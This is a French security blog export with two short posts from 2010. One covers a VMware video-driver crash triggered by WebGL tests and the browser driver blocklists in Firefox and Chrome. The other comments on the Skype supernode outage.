Dans l'eventualite ou vous voudriez en avoir la preuve, je vous invite a vous rendre sur la page du test de <a href="https://cvs.khronos.org/svn/repos/registry/trunk/public/webgl/sdk/tests/webgl-conformance-tests.html">conformite</a> WebGL depuis un Windows XP sous VMware avec Chrome, le tout a jour, avec support <a href="http://www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/BHUSA09-Kortchinsky-Cloudburst-SLIDES.pdf">3D</a>. Apres quelques tests, ma VM a bluescreene, faute au driver video de VMware qui a tente une division par 0 en ring 0 (dans vmx_fb.dll pour etre precis). La division par 0, ce n'est pas bien grave, mais ca ne represente qu'une portion infime de ce qui peut derailler dans le traitement de la 3D.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLr4xUBE-4HnKNh9ALUkcAJJUsZ6dEiLTt87yDiBnWNToCc-Ezqc9JleaTmWdmFNDD6PUYUr82miHM1cpMWlxusgPK9CMKbPM8zbyb4hJP83rOXZpSTSe0WWioONc82PRzJ40lSvzzJedm/s1600/DivisionZero.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLr4xUBE-4HnKNh9ALUkcAJJUsZ6dEiLTt87yDiBnWNToCc-Ezqc9JleaTmWdmFNDD6PUYUr82miHM1cpMWlxusgPK9CMKbPM8zbyb4hJP83rOXZpSTSe0WWioONc82PRzJ40lSvzzJedm/s320/DivisionZero.png" width="320" /></a></div><br />
<br />
Maintenant, est-ce la faute de VMware seulement? Pas vraiment. Je citerai pour demonstration la liste <a href="https://wiki.mozilla.org/Blocklisting/Blocked_Graphics_Drivers">noire</a> de drivers videos dans Firefox 4. Mozilla a pris l'initiative de ne pas activer WebGL si les drivers graphiques sont "pourris" (enfin, ils le sont tous), et ne supporte vraiment que les 3 grandes marques ATI, Intel, Nvidia. Pour crasher votre VM avec Firefox, il faut aller dans about:config, et forcer WebGL. En fait, Chrome fait de <a href="http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/resources/software_rendering_list.json?view=markup">meme</a>, plus ou moins. On relevera les notes suivantes:<br />
<br />
<div><ul><li><pre>NVIDIA drivers older than 257.21 on Windows XP are assumed to be buggy.</pre></li>
<li><pre>Intel drivers older than 14.42.7.5294 on Windows XP are assumed to be buggy.</pre></li>
<li><pre>ATI drivers older than 10.6 on Windows XP are assumed to be buggy.</pre></li>
</ul><div>Je trouve relativement interessant qu'il releve aujourd'hui du navigateur de proteger l'utilisateur des couches de vulnerabilites de niveau inferieur. Enfin toujours est-il que lorsque je lis les <a href="http://www.contextis.com/resources/blog/webgl/">recherches</a> de "Context Information Security LTD", je me dis qu'ils sont passes a cote du probleme.</div></div><div><br />
</div>Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0tag:blogger.com,1999:blog-6700102380087070012.post-34025364761507290742010-12-22T15:50:00.001-05:002010-12-22T15:51:45.506-05:00Tango DownL'expression est la mode. La victime du jour: <a href="http://twitter.com/Skype/status/17624508332515328">Skype</a>.<br />
<br />
Sur le <a href="http://blogs.skype.com/en/2010/12/skype_downtime_today.html">blog</a> de Skype, on peut lire:<br />
<br />
<blockquote><span class="Apple-style-span" style="font-family: Helvetica, Arial, sans-serif;"><span class="Apple-style-span" style="font-size: 14px; line-height: 19px;">Under normal circumstances, there are a large number of supernodes available. Unfortunately, today, many of them were taken offline by a problem affecting some versions of Skype. As Skype relies on being able to maintain contact with supernodes, it may appear offline for some of you.</span></span></blockquote><br />
Je ne peux m'empecher de repenser aux presentations de Serpi, Phil et compagnie sur le sujet, evoquant la possibilite de DoS-er le reseau Skype en envoyant aux super-noeuds la commande de desactivation.<br />
<br />
Maintenant les techniciens de Skype s'activent a creer de nouveaux mega super-noeuds pour retablir le reseau. C'est moche.Kostyahttp://www.blogger.com/profile/13104454620092588028noreply@blogger.com0